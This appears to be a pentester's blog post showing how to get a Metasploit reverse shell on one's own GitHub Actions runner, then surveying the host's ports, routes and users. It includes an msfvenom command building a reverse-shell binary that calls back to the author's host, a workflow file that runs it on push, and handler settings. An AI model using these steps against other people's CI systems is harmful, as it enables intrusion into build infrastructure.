I recently got my beta invite to the awesome Github Actions feature. This is a free to use CI/CD system. If you’re not familiar with CI/CD, you can think of it as a system which runs a series of actions during your development process to help test/maintain/deploy it. For example you could use CI to run your test suite on every commit, so you know if someone just broke the build.
To do this we use “runners” which are essentially execution environments (e.g. a Virtual Machine) that runs our tests or other actions.
Of course what do pentesters think, seeing the idea that someone’s going to let me execute commands somewhere… “hey can I get a shell on that?” :)
Antitree got there first on twitter but I thought it could be fun to walk through the process in a little more detail than twitter’s format allows.
The pre-requisite for this is that your Github account has actions enabled. Once you’ve got that here’s a set of steps to get a shell on one of Github’s runners.
It’s worth noting that what we’re detailing below isn’t likely any kind of security issue for Github, I’d expect that they’re providing dedicated ephemeral instances as CI runners, so you’re not likely to get access to anyone else’s infrastructure using this technique, it’s just a bit of fun :)
One thing to note though in general for CI/CD environments is how important isolation is, if you’re running untrusted code in pipelines. As we’ll show here, it’s pretty easy to get a shell back out of a runner, so don’t run these in a network with other important hosts…
Prepare the payload
Just like in the previous post on Kubernetes shells we’re going to use Metasploit for this. So we need a reverse shell payload that we can call back to. For this, you’ll need to have the port receiving the connection visible on the Internet with no firewall in the way, you could use something like a Digital Ocean droplet or EC2 instance for this.
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=YOURIP LPORT=YOURPORT -f elf > reverse_shell.elf
YOURPORT with your information.
Now we’ve got a shell program, just start a new Github repository and add the shell to the repo.
Our Gtihub Action
We just need to create our action now that will get triggered when we push changes to our Github repository. Github actions live in
.github/workflows/ and are in YAML format. Create a file called
testaction.yml in there and you can put something like this into the file.
name: Shell on: [push] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v1 - name: metasploit reverse shell run: ./reverse_shell.elf
Now when we commit our repository, Github should run our action. Before we do that make sure to set-up Metasploit to receive the connection.
msfconsole you can do the following steps
set payload linux/x64/meterpreter_reverse_http
set LHOST YOURIP
set LPORT YOURPORT
Then push your shell and action code to Github to trigger the action, and all being well you should get a shell :)
Looking around a Github runner
So once you’ve got your shell what can you see? Well it’s running an Ubuntu based distro, as we’d expect (it is possible to get Windows or indeed Mac runners, so you could repeat this exercise with them)
When you first get the shell, you’re running as the
runner user but it’s got passwordless
sudo access, so you can just
sudo bash to get
ss -ltnp will show us the listening TCP ports
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:*
3306/TCP is kind of interesting, as my action didn’t make any use of MySQL.
Nothing hugely interesting on the routing table, although interesting that
docker0 is there, so we’re running Docker on the runner host.
Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 0.0.0.0 10.1.0.1 0.0.0.0 UG 100 0 0 eth0 10.1.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0 220.127.116.11 10.1.0.1 255.255.255.255 UGH 100 0 0 eth0 169.254.169.254 10.1.0.1 255.255.255.255 UGH 100 0 0 eth0 172.17.0.0 0.0.0.0 255.255.0.0 U 0 0 0 docker0
One thing I thought was interesting, although not really surprising, is that there are quite a few dotnet core processes running on the host.
Users on the host
A quick look at
/etc/passwd shows up a couple of non-standard users
pollinate:x:110:1::/var/cache/pollinate:/bin/false mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false sphinxsearch:x:112:117:Sphinx fulltext search service,,,:/var/run/sphinxsearch:/usr/sbin/nologin runneradmin:x:1000:1000:Ubuntu:/home/runneradmin:/bin/bash runner:x:1001:115:,,,:/home/runner:/bin/bash
This is just a quick exploration of a Github Actions runner host, showing some of the techniques that can be used to get shells in CI systems, if you have the ability to submit commands to them.
Overall Github actions looks really cool, and I’m looking forward to integrating it into a lot of my repo’s alongside their private repository feature.